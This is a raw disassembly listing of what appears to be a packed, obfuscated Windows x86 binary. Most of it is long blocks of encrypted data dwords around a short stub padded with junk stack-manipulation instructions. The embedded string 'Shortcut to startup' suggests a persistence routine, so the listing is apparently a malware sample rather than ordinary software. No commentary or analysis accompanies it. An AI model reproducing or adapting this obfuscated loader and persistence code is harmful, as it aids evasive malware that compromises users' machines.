		dd 0E0D5E449h, 0F7FD25F7h, 0DF956C98h, 0FBE81E5Bh, 8AB676A3h
		dd 0CF26AD93h, 5B9EEE38h, 70D7694Fh, 67534BCCh,	18CA6C37h
		dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h
		dd 982633A9h, 5E265AF1h, 0B201FAEFh, 0B44E6033h, 67A5E4FFh
		dd 0B204FAF8h, 31A3BEA0h, 67201ED2h, 8DA3BA79h,	1B2019D9h
		dd 0B21476D7h, 1D293333h, 98263383h, 0F502B6C0h, 15763589h
		dd 0B74B25D6h, 0DD963AFh, 9E0C3EC1h, 98266483h,	15235935h
		dd 0B74B151Fh, 1DAB634Bh, 9E095EB0h, 4DB3CC03h,	93201983h
		dd 0A1A23C14h, 1526336Ah, 0B74B15B0h, 0AACE639Ch, 0D826334Dh
		dd 0B4A3BEF6h, 0C8201C3Eh, 0F500B624h, 677635FBh, 0B22D06FFh
		dd 94E2B033h, 0F500B617h, 15763562h, 0B74B2523h, 0DD96355h
		dd 9E0C3EBCh, 9826513Dh, 74AD666Ah, 0CE746464h,	0AB2E4E11h
		dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch,	13EF002Bh
		dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h
		dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h
		dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h
		dd 517F6C8Eh, 152637A8h, 0B74B2788h, 0D1ABBE9Ch, 20201C23h
		dd 93h,	71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh
		dd 2F6E49B5h, 688D8D06h, 2B062F6Eh, 5E983CFh, 469BC88Bh
		dd 0AEFD3419h, 0C306D68h, 0BB4A9D20h, 2702CECFh, 84DA6DAFh
		dd 6E646E14h, 46A53478h, 0AEFB3411h, 0F43E6E32h, 0AADA609Bh
		dd 0AA5B7093h, 0AEBF3407h, 0CF1C6650h, 0FF52B7B6h, 0AEF11E36h
		dd 13783D67h, 0A8D71E9Bh, 0FEE74012h, 16BFBF41h, 0AEBF3011h
		dd 8956B19Bh, 33623238h, 0A8DB8F7Bh, 0F6A0E7EDh, 84748991h
		dd 0DAFE3238h, 162C6405h, 0AEBF3011h, 8956B19Bh, 33623238h
		dd 0A8DB8C4Ah, 0F6A0E7EDh, 0A304A199h, 3B773238h, 0A8550757h
		dd 25478B1Dh, 0F8DF5ED2h, 0AEEF37FAh, 6DA91412h, 8A8FBD4Ch
		dd 8AB9B516h, 0AEFE2916h, 6D297212h, 6298A54Dh,	8BC969E2h
		dd 0C8138904h, 0AE9DEC9Eh, 0AEF8DC41h, 0F5DD3412h, 0F2776FD1h
		dd 0EAFE3036h, 0AEA23036h, 0FD9C3412h, 9FF975D1h, 3A7A10B1h
		dd 2E304E9Ah, 0AA55AFD0h, 0AAD9B01Dh, 66F43412h, 0BDFE8991h
		dd 0A1DF3238h, 0AEEF4196h, 0FCF75E12h, 0AEFB37FAh, 6DA71412h
		dd 8AAABD48h, 8A3BB516h, 0AEBF2F16h, 6D8D7612h,	0C0356473h
		dd 72DEAE28h, 0C01D8F74h, 0AEFEBF1Dh, 11F13412h, 0AD9CDDDDh
		dd 0AED53412h, 0AEDCDC45h, 0F1CF3412h, 0D27E6BD1h, 0EA7A3036h
		dd 0AEEB3036h, 0F9B93412h, 85D654D1h, 0BA323B72h, 47DF3412h
		dd 0AEEF341Dh, 8FC4DCD4h, 0CBBB750Dh, 0B5C9272Bh, 0CF1E5726h
		dd 3B2E593h, 0AE016311h, 0C4DD3435h, 0AD076412h, 8EF73412h
		dd 27A3F74Ah, 2FF91056h, 0B6FA1056h, 0EE7F3412h, 0BFD9F742h
		dd 0FCEE208Ch, 0D86AB94Dh, 52F11988h, 8B4EBF72h, 16FB1E30h
		dd 0C1669097h, 0C4AFCB73h, 0AD576112h, 8EDF3412h, 27B2F74Fh
		dd 2FF3107Eh, 0BAFF1056h, 0EBFD3412h, 2B06F747h, 64FB3BD2h
		dd 0C4BF3412h, 0AD376712h, 8EEF3412h, 27ACF749h, 2FFF104Eh
		dd 0BAF91056h, 0EDFE3412h, 24F1F741h, 0F987B5C8h, 0A124B574h
		dd 0AEEF1397h, 0AEE3DD12h, 0D84F3412h, 400E5693h, 0CD1C9C75h
		dd 0F69C4264h, 0D90BAAA3h, 2FB9956Ah, 0ACED306Ah, 0ADAFB01Dh
		dd 7D703412h, 32C5B574h, 0C07B3B72h, 0C47F3412h, 0AD576512h
		dd 8EDF3412h, 27B6F74Bh, 2FF3105Eh, 0BBFF1056h,	0EFFD3412h
		dd 0C22CF743h, 0B566899Bh, 0D63F3238h, 2BD0DC10h, 0AEEF3453h
		dd 8DE68999h, 2F9D3238h, 5FD326Ah, 0AED1B11Dh, 0AE153412h
		dd 0AEBCDC41h, 0F5FF3412h, 0F2666FD1h, 0EA763036h, 0AEE33036h
		dd 0FDBE3412h, 29B3C5D1h, 13F615C7h, 0A895399Fh, 0AEDDD5FBh
		dd 0BC555212h, 0AFF78A8Ah, 0AE917213h, 0AEFEDC47h, 0F3DE3412h
		dd 0C2F669D1h, 0EA3E3036h, 0AEC43036h, 0FBAA3412h, 79B3BDD1h
		dd 167563F7h, 0C82BBF0Bh, 23007CADh, 83E54297h,	0FCBF5E14h
		dd 0AEDF37FAh, 6DB51412h, 8AA3BD48h, 8ABFB516h,	0AEFD2116h
		dd 6DAC7612h, 0A1294514h, 0AEBF3297h, 0AF42BF12h, 0F1E91E04h
		dd 7E08EB99h, 0AEFB20FBh, 16135E12h, 0EE6286EBh, 487B3FE4h
		dd 0CFF6A91Fh, 0FEE6A4ACh, 0A12FB150h, 0AEF6C096h, 0FFFB5E12h
		dd 0AEFD37FAh, 6DA71412h, 8A33BD4Bh, 8AFBB516h,	0AEDF2116h
		dd 6DBE7512h, 6377882Ah, 0C8C3B512h, 0A1FF362Fh, 0AEFE6097h
		dd 0FC7F5E12h, 0AEBF37FAh, 6D851412h, 8ABBBD48h, 8AB3B516h
		dd 0AEFB2E16h, 6DAF7612h, 0F4BB4AC7h, 25101880h, 0AEAEDDC5h
		dd 10CA3412h, 0FECC7FEEh, 788C21Eh, 5756180Ah, 5733C2CFh
		dd 0C8F84C93h, 0A1056B2Fh
		dd 0AEBED196h, 0A85D3B12h, 87EF3412h, 84EFE9AFh, 967A5214h
		dd 2BF2548Eh, 0AEFE3444h, 67FA3772h, 0C8B91E1Dh, 7786DC93h
		dd 1352BD73h, 2EF11E39h, 0A113366Ah, 0AEFD0D97h, 0FEFE5E12h
		dd 0AE7F37FAh, 6DE71412h, 8A9BBD4Ah, 8AABB516h,	0AEF72316h
		dd 6DAB7412h, 0B3C5FCCh, 87E7819Bh, 2F193238h, 6EBF326Ah
		dd 0AED7B11Dh, 686F3412h, 0AF8FDD72h, 0AE453412h, 25833513h
		dd 84E52187h, 0D8FAB914h, 0A5B91988h, 84F5F1AFh, 0C43FCB14h
		dd 0AD1F6612h, 8EFB3412h, 27A7F748h, 2FFA1046h,	0B87B1056h
		dd 0ECBF3412h, 69EDF740h, 0CB7ABFCBh, 0A1F11E0Bh, 0AEFB3292h
		dd 4736B512h, 2BC4A7C8h, 6CFB3BD2h, 2FBF3412h, 3B1A5FF9h
		dd 46D7B47Eh, 0AECDB11Dh, 2B723412h, 0A8D73B2Bh, 0DDFB4C92h
		dd 0AE55B11Dh, 0AED53412h, 0AEDCDC44h, 0F0CF3412h, 0DA7E6AD1h
		dd 0EA7A3036h, 0AEE93036h, 0F8B83412h, 54F49AD1h, 0FDB84C92h
		dd 0AE3FB01Dh, 59653412h, 21CFB574h, 0C07E3B17h, 0A1FD3412h
		dd 0AEFE3C95h, 0ACFD3B12h, 0CEBF3412h, 0A8A7B473h, 0F86A3B7Ah
		dd 0C4F73412h, 0AD136412h, 8EFD3412h, 27A6F74Ah, 2F7B1056h
		dd 0B7BB1056h, 0EEDF3412h, 2D7F742h, 9E6D3F0Eh,	0C8038B1Dh
		dd 51F64C93h, 887B3B37h, 477F3412h, 0AEBF3494h,	46893478h
		dd 0AEEF3411h, 0F0346A32h, 0AADF409Bh, 0AAD97093h, 0AEFE3404h
		dd 70BC6254h, 19B0DED2h, 0AEDF8CDCh, 0AE853412h, 0AEF4DC41h
		dd 0F5DB3412h, 0F2746FD1h, 0EA7F3036h, 0AE6A3036h, 0FDFC3412h
		dd 25699CD1h, 84EAAD8Fh, 0AEBDDD14h, 0AE913412h, 0AEFEDC45h
		dd 0F1DE3412h, 0D2F66BD1h, 0EA3E3036h, 0AEC73036h, 0F9A83412h
		dd 0B7E8AD1h, 2DF4EBD3h, 0AEFD341Eh, 0AEF8BC1Dh, 21703412h
		dd 0AEBF3412h, 0B606A19Bh, 0AF573238h, 27F73412h, 84E9A58Fh
		dd 4E4D5414h, 0CF0CBF74h, 76F45242h, 0A19B309Bh, 1352E2ADh
		dd 0A8C05A78h, 0DAEDB99Fh, 8D43323Dh, 0AD8A5247h, 84FD1197h
		dd 6FB01F14h, 0AE4536FBh, 25833513h, 84E52187h,	0D8FAB914h
		dd 0A5B91988h, 84F5F1AFh, 0E983CB14h, 58A4F305h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A3C35343h, 0C718D89h
		dd 0FE8B062Ah, 1FA8B66h, 2A1F79BDh, 0FC00B06h, 2084h, 9D895600h
		dd 62A0EE1h, 97B58D5Ah,	66062A4Eh, 0C534C981h, 3B8h, 0E2816600h
		dd 0E6FF44EEh, 6A40F8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 443FAAC3h, 8B48E380h, 5E9C0h, 0ED990000h
		dd 835BC25Ch, 2A2451BDh, 9750006h, 2A89BD83h, 7400062Ah
		dd 8B535019h, 403B8C0h,	85890000h, 62A1A01h, 0BBD09D8Dh
		dd 0D3FF062Ch, 0BD83585Bh, 62A2A89h, 50177400h,	403B853h
		dd 85890000h, 62A1A01h,	0B8719D8Dh, 0D3FF062Ch,	9D8B585Bh
		dd 62A0831h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	7BC35343h, 0B5DEBB9Ch, 9D8960F6h, 62A2945h, 1A85958Bh
		dd 6661062Ah, 0B278E381h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 894AF7C3h, 2A2B5995h
		dd 0FE86106h, 23000000h, 0FFC0B9A1h, 5A8405C0h,	7931ACBBh
		dd 870FDC18h, 10h, 8E8h, 4DBD3A00h, 5B2256FBh, 5E6160F3h
		dd 7BC18159h, 0B00005Dh, 2A2529BDh, 66D23306h, 0FD65E881h
		dd 31111C8Bh, 2A2AA195h, 0D9C38106h, 8A310BDDh,	3DEB81E3h
		dd 31440519h, 2A32F5BDh, 58EB8106h, 8B5DD788h, 2A0D95B5h
		dd 52B85306h, 8F2EFABFh, 0C38B1104h, 1B5DB529h,	0EA81062Ah
		dd 71306789h, 0A51BD8Bh, 0C281062Ah, 71306785h,	47EDE781h
		dd 0FA811FDAh, 0FFFFA370h, 2B850Fh, 0FE90000h, 3E000000h
		dd 9EB0854h, 90A9E7FEh,	0F572C3Ah, 3FE9C39Dh, 0BB000000h
		dd 4D118749h, 430729A7h, 0AAA102B9h, 0D4E81108h, 0EE85Ch
		dd 804C0000h, 4A45EE21h, 10E83DA9h, 0D791AF70h,	2319BD0Bh
		dd 0E95E062Ah, 0FFFFFF58h, 132E4DEEh, 52D54EA3h, 9B2DD886h
		dd 8E89F5Dh, 83000000h,	73D6BD6Dh, 0F5A3324Ch, 0DBCE805Bh
		dd 650DC381h, 6E90000h,	2D000000h, 7AE3388Ah, 0B894h, 8B660000h
		dd 30C8BF1h, 0C181F78Bh, 56094324h, 819FEE80h, 0E21F3AF1h
		dd 0CDBD8B29h, 81062A32h, 0D1EF48C1h, 52E28178h, 89575B5Bh
		dd 47BE030Ch, 0F7D0DD4h, 58Bh, 95B8BE00h, 0E8813187h, 68962107h
		dd 2103C081h, 0B5896896h, 62A0DADh, 9B78F881h, 850FFFFFh
		dd 0FFFFFFA9h, 6830Fh, 9D890000h, 62A04E9h, 56315820h
		dd 13131C8h, 0C26E1210h, 254DBB57h, 2575B300h, 1312F06h
		dd 0C2667501h, 0C05FB16Eh, 0DBC9BA92h, 0B430A2A6h, 71B1F41h
		dd 88E9BE6Eh, 2B379BB9h, 0E359A04h, 1332985h, 0BCBA6480h
		dd 71B3B99h, 408CB17Fh,	1371803h, 155B607h, 15B3204h, 132DA54h
		dd 5F113201h, 75B86C43h, 45B03664h, 12B3604h, 57773210h
		dd 0AC3E4CBh, 48DB6124h, 438AF2Bh, 0B43A342Bh, 71B2125h
		dd 130E1A9h, 54315820h,	13131F8h, 0C26C1208h, 255DBB59h
		dd 2575B306h, 1312F05h,	0C2647780h, 1B67716Eh, 0EE501ACEh
		dd 853E0AC1h, 131320Eh,	0C48B735h, 51A13428h, 131BA0Eh
		dd 6BA13280h, 2D96340h,	21313220h, 8868F149h, 80351644h
		dd 19351640h, 40313202h, 4769F150h, 0E3D2E9Fh, 0FF157E41h
		dd 0E967324Ah, 1313213h, 5FF26C28h, 515468Dh, 5157683h
		dd 1313214h, 0E2F264C6h, 0C1B26A31h, 5231580Ch,	13131F8h
		dd 0C26A1208h, 256DBB5Fh, 2575B306h, 1312905h, 0C2627180h
		dd 0CA8A25E0h, 33BA37E1h, 0BCBA3A9Bh, 71B1701h,	0FD79B962h
		dd 0E9613268h, 1313202h, 59F26AA0h, 51576C9h, 51576A1h
		dd 131320Ah, 0CEF26248h, 0A0CF8978h, 0B63EC8CCh, 38B054FBh
		dd 853ECDB6h, 13132DCh,	0E964324Ah, 1313213h, 5CF26F28h
		dd 5155E8Dh, 5157683h, 131321Ch, 0DFF267C5h, 0ECEDEEDDh
		dd 0B56E3461h, 0ACA40116h, 67371806h, 0C0B2EB8Fh, 0C48CB90Bh
		dd 8137182Bh, 843EDBB9h, 13132F4h, 0E964324Ah, 1313213h
		dd 5CF26F28h, 5155E8Dh,	5157683h, 1313218h, 0F0F267C5h
		dd 0BBC79356h, 70B920h,	123B61Fh, 0CD83208h, 7313204h
		dd 3DA6B622h, 0F3E1D259h, 4699C035h, 8C18FA43h,	71B00F9h
		dd 6734F393h, 23A2F089h, 4AA10B85h, 843EB941h, 131325Dh
		dd 632B88E6h, 4FA6BFCDh, 0B4B8340Ah, 71B2905h, 0B0CAF2Bh
		dd 289342Eh, 6B313202h,	2D96401h, 21313280h, 886FF11Eh
		dd 80351654h, 14351654h, 47313208h, 0AB12F152h,	15BD3FDh
		dd 132DA54h, 5C113280h,	6DB86F83h, 45B03604h, 1243634h
		dd 54743208h, 50D9A2C7h, 5F0FED82h, 70AC1160h, 8C371898h
		dd 2E47DAFDh, 62BCBF26h, 0B9371D69h, 0A3B17Ch, 224CB737h
		dd 0CE1A3428h, 56315820h, 13131C8h, 0C26E1210h,	254DBB57h
		dd 2575B300h, 1312F06h,	83667501h, 0A4F305E9h, 0F2BAC08Bh
		dd 9452ADCh, 2A148985h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0E75B95Ch, 0DA9599B8h
		dd 0E8C38B31h, 0Eh, 729AFDC6h, 1C1F4658h, 705FE20Ch, 8B60FEC4h
		dd 2A1315B5h, 0BF5B6106h, 114A9482h, 6417C381h,	0F38B0000h
		dd 0BF66D22Bh, 48BF59Dh, 49953113h, 81062A34h, 0E0EAA6C0h
		dd 158D8B2Ch, 81062A26h
		dd 0DD82E9E8h, 21B52904h, 81062A32h, 0C2CE9AE8h, 0AE848h
		dd 27590000h, 0C249FC84h, 52F8D0C6h, 14E98D8Bh,	8959062Ah
		dd 0F88B1304h, 2BBDBD03h, 0EA83062Ah, 0FA81F904h, 0FFFF9CA0h
		dd 29850Fh, 6E80000h, 7F000000h, 110D128Ah, 0B5B58B7Bh
		dd 5F062A27h, 22E9h, 0B630F200h, 0B5B4249Ch, 0B0DA0A84h
		dd 75EDE810h, 66AA11DAh, 0E99030BFh, 0FFFFFF76h, 34B5E429h
		dd 8D8CD795h, 2F7B548Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A94F9B87h, 0A85B4148h
		dd 0BD8B8896h, 62A0E8Dh, 33958D89h, 6A062Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0CA6F6BC3h
		dd 0B479E519h, 0B5011A88h, 62A2249h, 0F985C7FCh, 0B0062A0Bh
		dd 6A000065h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 5797C357h, 8E9B050h, 0C9000000h
		dd 4A73228h, 0C79A2542h, 2A06C585h, 6, 49BD8900h, 0FF062A12h
		dd 2A2089B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 779B0FC5h, 6C0FC0A9h, 5C195FFh, 0F080062Ah
		dd 0FF006A37h, 2A343995h, 0EBC08B06h, 50FAFE4Dh, 9B27B65Dh
		dd 693FE52Fh, 0F4435427h, 0C93F053Dh, 0AD262B8Ch, 0C9ABEF1Bh
		dd 3D768860h, 176D8D1Fh, 29582B5Eh, 73D21AE2h, 4DAB9388h
		dd 7CDBDEA9h, 6BB37C07h, 91034604h, 797490C3h, 0BCCC3305h
		dd 91F17AEEh, 19CF8D21h, 9D8D3E70h, 62A2AB5h, 2AB8h, 0B5858900h
		dd 0E8062A1Eh, 0
		dd 0D0558h, 3890000h, 2AE9h, 0E6000000h, 9 dup(0E6000077h)
		dd 0E9FFFF77h, 26h, 40379931h, 8 dup(0)
		dd 46E90000h, 14000005h, 36EE88D4h, 5109A3CBh, 6E26C0B2h
		dd 8E46E098h, 8864FE76h, 0AACA3ABEh, 0C9AD5810h, 0EA70772Fh
		dd 66A9850h, 786D866Ch,	289EF8BDh, 379D6D02h, 63BBA5CBh
		dd 0A039D3A1h, 8FAF2CBBh, 0B5AC9A8Bh, 0FBE58B77h, 0B2545FA3h
		dd 73CBB5C6h, 8231E08Eh, 24805B9Dh, 9A8F30D2h, 226FDB9Bh
		dd 60BAB11Ch, 0D5AB9E40h, 10A9432Dh, 0DAC96C61h, 83EE226Fh
		dd 0C1994E8Ch, 141F2D12h, 18730180h, 885F1721h,	7590E8D2h
		dd 45BF1701h, 18ED452Fh, 0BD9745Eh, 438E78F6h, 0ADA7C0B3h
		dd 9A40C694h, 707A90A5h, 0ABBC2722h, 0D99B69C1h, 5E4354EFh
		dd 0C2B91448h, 0F21209FDh, 9CBE29FFh, 0B8B84A02h, 0D0655A09h
		dd 0E722700Dh, 5DD8CD7Ch, 6222700Eh, 27A600F7h,	22700E13h
		dd 0B4A093BBh, 0D2E79F16h, 74BAh, 0CB37F200h, 7D231207h
		dd 2994226Fh, 7DB0857Ah, 9C07226Fh, 9A68A18Bh, 0AB100767h
		dd 226F7D90h, 70271A42h, 6AD1F18Bh, 150CFDE1h, 0E7A009C1h
		dd 8C7D2h, 6A380000h, 55F0DA9Ah, 7156065Eh, 1AECD692h
		dd 0D9A7795Eh, 46C9664h, 4A887F1Ah, 75CDB7B7h, 0C6D90E8Ch
		dd 0C23D27C8h, 976FC7B1h, 35D7F7E1h, 2ABD8B42h,	0B4AB4630h
		dd 49E38B76h, 65FF7191h, 0A7CD3793h, 0E0BD2AF8h, 453C4D21h
		dd 8ECDB2EBh, 7D1F5172h, 5AA7E5DCh, 929C2A14h, 4439E89Fh
		dd 226F8EF1h, 26645BC6h, 44FC96DEh, 70C8B2BEh, 6230DF93h
		dd 0FE04D2A2h, 0C6217B72h, 23B7A396h, 0CDD2E71Ah, 56h
		dd 0EACD3705h, 1B735DFDh, 68798AE8h, 95DD267Eh,	0C2B053ABh
		dd 0EE8280D8h, 4C9B6904h, 86A0240Eh, 42E47A93h,	0E98B794Fh
		dd 76D974Fh, 3741C51Dh,	0CFC2F24Dh, 0E707F7E3h,	43F9D2h
		dd 37310000h, 65BDA7CDh, 0A3EED882h, 0BA4A2013h, 3CB0D5E6h
		dd 6F800251h, 0A75603D5h, 6F7D83B2h, 0D2C93422h, 52016D94h
		dd 9F37F84h, 132436B1h,	0F743C21Ch, 0D7226F7Ch,	0FAD0BCAFh
		dd 0D6D2E70Dh, 1, 0A6CC370Eh, 7BC212F7h, 0BFA1A8A7h, 86356EC8h
		dd 706BA491h, 0E6FB3822h, 2179ECFAh, 7FBDB41Fh,	7F03ED83h
		dd 679C7265h, 6CC1710Bh, 0CB7F7423h, 7424464Dh,	5ABF766Bh
		dd 0D234289Ah, 1F21BCA6h, 61B9A3B4h, 3B20CFA1h,	0AC6FA58Ch
		dd 4A544B92h, 16007092h, 9A7AA497h, 0DDD06028h,	0E2D7FB07h
		dd 289A7A53h, 4EE8F964h, 71666C96h, 289A79C4h, 957F90FBh
		dd 0FF778E5Ch, 3838CA08h, 2846BB89h, 877FD731h,	53AF07F1h
		dd 0CA98331Dh, 0BF4D3737h, 0A5A9C2B5h, 30D2A89Bh, 71AC9140h
		dd 0E5AC6C95h, 0E6F77B88h, 9C86EA18h, 32000A01h, 0D911B798h
		dd 0EAB1452Ah, 69172C1Eh, 0F570C5BAh, 0DC472899h, 10ED4E5h
		dd 3F0C0000h, 43F2A1EAh, 7D969F94h, 0BE29226Fh,	598862C7h
		dd 0BE8C2445h, 0A9442E46h, 0EBD540B2h, 67016F93h, 331D53AFh
		dd 788C27DBh, 667712FCh, 5CFEE9B7h, 737D0B65h, 1858AA80h
		dd 8900E57Eh, 7262FCEEh, 9B191C11h, 339E2899h, 0F3D72B22h
		dd 0CFD9112Bh, 0A609CAEAh, 922D175Fh, 14D35FADh, 430C1Dh
		dd 3F440000h, 0F9EE9DE6h, 5D9083DCh, 0DA8938A3h, 0BDA872F5h
		dd 897EE955h, 0A26F24ACh, 0B4B6BC47h, 0EA887B49h, 1B1A99F3h
		dd 0FCA26F24h, 58B17F72h, 0E3B1600Fh, 0F85D5422h, 0DD902ADDh
		dd 0F19D37A2h, 68h, 0A1EA3F2Fh,	9F9443F2h, 226F7D96h, 62C7BE29h
		dd 24457340h, 0D42C1681h, 0F0A8422Eh, 0F5745E12h, 28998BCBh
		dd 744A3DCDh, 9848E28Eh, 9C4BFA43h, 543E36CEh, 645DC2B9h
		dd 2B2A6A16h, 847ED6C0h, 5BAA02ECh, 2DD9311Bh, 9F41614Bh
		dd 809993ACh, 0F159DCD1h, 0F35E2274h, 1BE9DCFCh, 0D9CE7DC6h
		dd 24457BE8h, 0D0A23CA7h, 0F2A1EA3Fh, 4007C4FDh, 4DF9DE24h
		dd 0C0A2A7Dh, 0CF3AACA3h, 23DEACE5h, 0EC16544Bh, 44F1E6h
		dd 4E98289Fh, 500D2732h, 1FED585Ah, 0E57F90E6h,	15C7D52Dh
		dd 85EF151Fh, 0D51B009Bh, 0E76CA6E8h, 41D5A265h, 0B6351F30h
		dd 6AA71F12h, 8B75FB07h, 0B6A0CE33h, 0C251832h,	0BE1D476h
		dd 27DF79F7h, 53AB95DBh, 57DBC5B3h, 9B9A8F3Eh, 1C62A71Fh
		dd 280D02B1h, 8F62A71Fh, 1A0D2D24h, 18B2BE44h, 0E4CEA260h
		dd 398h, 0D62ED600h, 0C1ABB137h, 0EDD79969h, 1E085295h
		dd 4D373FC6h, 7B650FF5h, 0A993E123h, 0D9C3B551h, 6F08281h
		dd 311B53AEh
		db 16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	5765h
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		push	2B1B07EAh
		pop	edi
		shl	edi, 3
		add	edi, 22D13CA9h
		push	ebx
		mov	ebx, 14874806h
		and	edi, ebx
		pop	ebx
		add	edi, 0F5AE3423h
		mov	ecx, edi
		pop	edi
		push	7A01h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 72h
		dd 30A108DAh, 515D8D8Fh, 2F58810Ch, 80C5B878h, 0C503062Fh
		dd 54F9E0FFh, 0EA6E33A0h, 5C9F427Ah, 73C5680Ah,	0FB936634h
		dd 445610ECh, 0D1AA26FEh, 10E73DAAh, 1B95386Dh,	409846FEh
		dd 7B7A0AEAh, 1C7B25D5h, 0AD67278Ah, 0A1AF2138h, 8EE626Ah
		dd 286B08DAh, 6BF1311Eh, 5C301CBCh, 76BF3327h, 4E58436Fh
		dd 4C0D6103h, 0CE87636h, 0E3000000h, 0D649584Bh, 0CAD028A7h
		dd 8B9D4704h, 800F5AC2h, 5, 5CC68166h, 14C28196h, 0B9000068h
		dd 0
		dd 1F830Fh, 13E80000h, 0C000000h, 7C686234h, 0C4DA0602h
		dd 490B4118h, 0F2588E37h, 820F0A4Dh, 0
		dd 0A3C8B58h, 5860Fh, 81660000h, 81D400E6h, 2C8603F7h
		dd 1850F6Ah, 0FC000000h, 0ED8FF781h, 0F53095Eh,	8158F2BFh
		dd 0B1A026C7h, 0F4EC8017h, 8B0A3C89h, 0EFCC80DEh, 2E5EE981h
		dd 81FC5223h, 232E5AC1h, 0BFBB6652h, 90F98117h,	0FFFFF98h
		dd 0FFFFAC85h, 810F53FFh, 2, 0E95B5852h, 0B0h, 0DA8C6660h
		dd 0F04C2F6h, 0C85h, 1D853B00h,	0F062A23h, 3684h, 4D853B00h
		dd 0F062A33h, 2A84h, 95853B00h,	0F062A12h, 1E84h, 0AD853B00h
		dd 0F062A23h, 1284h, 0F9BD8300h, 1062A14h, 5840Fh, 5FE90000h
		dd 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h
		dd 4984h, 0F8C28100h, 8B000000h, 0C8030C72h, 8B1C598Bh
		dd 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h,	17820Fh
		dd 0CF3B0000h, 0F830Fh,	0C3830000h, 850F4A04h, 0FFFFFFDCh
		dd 0DE9h, 979D8D00h, 0B8062A4Eh, 5, 0C361E3FFh,	96E9D00Bh
		dd 0CC000000h, 537C6D5Bh, 74726F68h, 20747563h,	73206F74h
		dd 74726174h, 7075h, 1Fh dup(0)
		dd 1056E900h, 96680000h, 0E9062F85h, 0FFFBC586h, 2F869A68h
		dd 0C57CE906h, 0E468FFFBh, 0E9062F88h, 0FFFBC572h, 2F892368h
		dd 0C568E906h, 2A68FFFBh, 0E9062F8Ah, 0FFFBC55Eh, 2F8AB468h
		dd 0C554E906h, 3F68FFFBh, 0E9062F8Eh, 0FFFBC54Ah, 2F90F368h
		dd 0C540E906h, 2968FFFBh, 0E9062F92h, 0FFFBC536h, 57F0C7B9h
		dd 0DE77403Fh, 6700C7C6h, 0F28B5C4Fh, 7E17AEDAh, 88FCB49Bh
		dd 1888A039h, 921028C1h, 0EF9AB24Bh, 0AB583FD8h, 0C6BA0E95h
		dd 0FF8F8916h, 68DA3C8h, 811CF63Eh, 782B2BFh, 285D95C0h
		dd 3E71F80Eh, 2AEC1CF6h, 2756DF78h, 296379B8h, 0D3232062h
		dd 99A3C0C3h, 0BB9E32D1h, 0C8DE1DCFh, 16CB6B41h, 0DFEDFABCh
		dd 0BAEADE1Dh, 9B6CF10h, 3D7BACB9h, 16CBD0B2h, 15F59613h
		dd 46816A81h, 11497426h, 32244F94h, 3DF1A7F4h, 0BFCF3C5Fh
		dd 12D2FDCAh, 8036BDD3h, 0EFB116CBh, 6C739AE2h,	68D6A856h
		dd 80000000h, 336E316Ch, 92192F5Bh, 0D1CF5CAh, 0DAD53D4Bh
		dd 0F256416h, 2320340Dh, 0FD723747h, 4C0C378Ch,	0A2AF6F9Ah
		dd 6E93D294h, 0CBDED158h, 637A2A16h, 36707838h,	0B3C07275h
		dd 0DEB94482h, 6F1A16CBh, 0D7112D58h, 0DD536C69h, 0F776325Ch
		dd 490934B3h, 0DB976C97h, 9B2260C0h, 445735E9h,	56E31DC4h
		dd 0C300A8h, 0DDAA0000h, 0B8F01BA8h, 92CAF5CCh,	6DA5D017h
		dd 0E512AB38h, 6E84D6D5h, 1CF63DE7h, 0E1EEA062h, 0F642EFABh
		dd 0F0F7B21Ch, 7D4A3F57h, 8E110552h, 663425D0h,	0C4791A27h
		dd 808298D7h, 0BA231FC6h, 0DBE8FFAAh, 0E9720BCDh, 0F20847B4h
		dd 1CF832D0h, 7080BF81h, 0FC14AD34h, 86933988h,	0F66386A4h
		dd 0DB3D4BDh, 49470000h, 0D2CDE57Eh, 55546C05h,	0AEDDF58Eh
		dd 3C688019h, 42290CA5h, 2AC30286h, 0B24B9212h,	3CD5E89Ah
		dd 0C9626124h, 981F35E2h, 1316C6B8h, 0A3C88919h, 0F63E068Dh
		dd 0B2BF811Ch, 80BF0682h, 0C1D878Ch, 87366359h,	7DAAB88Dh
		dd 3689FAFAh, 0ABD87784h, 2AF949B7h, 0A3B026BFh, 18B13673h
		dd 0CA316C2Ah, 6873758Bh, 22E42320h, 0CBCABEE3h, 84FEC0A8h
